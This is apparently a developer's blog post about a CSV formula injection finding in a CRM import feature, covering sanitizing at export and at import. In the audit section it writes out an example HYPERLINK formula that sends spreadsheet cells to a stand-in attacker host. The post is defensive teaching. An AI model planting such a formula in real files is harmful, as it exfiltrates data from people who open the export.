TLDR: Fields starting with
=,+,-, or@in a CSV import aren't just strings — they're deferred spreadsheet formulas. Inert in your database, harmless in your web UI. But the moment an admin exports to CSV and opens it in Excel, they execute. One sanitizer pass kills the whole class.
The Setup
We were building the import feature for a KOL CRM for an ecommerce business (a CRM for Key Opinion Leaders — the doctors and health influencers the business works with).
Upload a CSV. Bulk-load KOLs into the database. Ship it.
Nobody thought twice about what was in those fields.
The Wrong Mental Model
That's what makes this bug survive.
React escapes strings. Browsers don't run spreadsheet formulas. What's a malicious name field going to do?
That reasoning is EXACTLY the trap.
The Finding
Full-day security sweep across the KOL CRM — 22 findings, all dispositioned same-day — and the auditor flagged SEC-10: CSV formula injection on KOL imports.
The same issue turned up in a second app for the same ecommerce business: an affiliate payouts application. Two surfaces.
Here's the actual attack. A KOL name field isn't "Dr. Jane Smith".
It's =HYPERLINK("http://attacker.com/exfil?data="&A1:Z99,"Click me").
The app stores it as a string. Nothing blows up. The field looks totally normal in the UI.
The bomb detonates later, when someone exports the CRM to CSV and opens it in Excel or Google Sheets.
The formula executes.
No login needed. The attacker just needed their record to end up in an export.
Export vs. Import — The Real Fork
Here's the thing people miss: CSV injection is technically an export vulnerability.
The payload is inert in the DB. It only fires when written into a .csv that a spreadsheet app auto-evaluates.
So the classic fix (standard OWASP) is to sanitize at export time — prefix any dangerous cell with a ' apostrophe when you generate the download. That signals "string literal, not formula" to Excel and Sheets. Your stored data stays clean.
The ecommerce business went one layer deeper: sanitize at import too.
The tradeoff is real — stored values get modified (a phone field +15551234567 becomes '+15551234567), so you're either prepending a quote or stripping the leading char. Pick your approach, document it, be consistent.
Either way, the characters to catch are: =, +, -, @, |, or a bare tab or carriage return at the start of a field.
Why It Matters to Me
This attack is invisible until it isn't.
No errors. No red flags. The import succeeds, the UI looks fine, and then an admin opens a spreadsheet and hands the session to an attacker… who uploaded a contact record three weeks ago.
If you have a CSV import anywhere that touches data you don't fully control: add the sanitizer. Export-time at minimum. Import-time for defense-in-depth.
Five lines of code. Zero reason to skip it.
P.S. The full sweep turned up 22 findings in the KOL CRM alone, all closed the same day. SEC-10 was one of the quieter ones — and probably the hardest to ever spot in production.